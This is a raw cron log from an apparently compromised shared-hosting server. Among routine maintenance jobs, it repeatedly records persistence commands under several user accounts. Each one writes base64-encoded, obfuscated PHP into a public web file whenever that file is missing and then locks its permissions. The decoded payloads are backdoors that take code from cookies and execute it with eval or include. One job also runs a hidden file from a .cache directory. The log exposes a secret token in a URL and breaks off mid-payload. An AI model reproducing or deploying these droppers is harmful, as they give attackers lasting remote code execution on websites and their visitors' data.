Mar  1 08:48:01 medusa CROND[1618]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:48:01 medusa CROND[1619]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:48:01 medusa CROND[1623]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:48:01 medusa CROND[1617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:48:01 medusa CROND[1624]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:48:01 medusa CROND[1627]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:49:01 medusa CROND[22600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:49:01 medusa CROND[22601]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:49:01 medusa CROND[22606]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 08:49:01 medusa CROND[22608]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:49:01 medusa CROND[22609]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:49:01 medusa CROND[22610]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:49:01 medusa CROND[22611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:49:01 medusa CROND[22620]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:49:01 medusa CROND[22621]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:49:01 medusa CROND[22622]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:49:01 medusa CROND[22623]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:49:01 medusa CROND[22627]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:50:01 medusa CROND[12347]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 08:50:01 medusa CROND[12404]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 08:50:01 medusa CROND[12457]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 08:50:01 medusa CROND[12458]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 08:50:01 medusa CROND[12460]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 08:50:01 medusa CROND[12459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:50:01 medusa CROND[12463]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 08:50:01 medusa CROND[12464]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 08:50:01 medusa CROND[12465]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 08:50:01 medusa CROND[12468]: (root) CMD (/usr/bin/kcarectl --auto-update )
Mar  1 08:50:01 medusa CROND[12471]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:50:01 medusa CROND[12470]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:50:01 medusa CROND[12472]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 08:50:01 medusa CROND[12462]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 08:50:01 medusa CROND[12469]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 08:50:01 medusa CROND[12467]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 08:50:01 medusa CROND[12480]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSA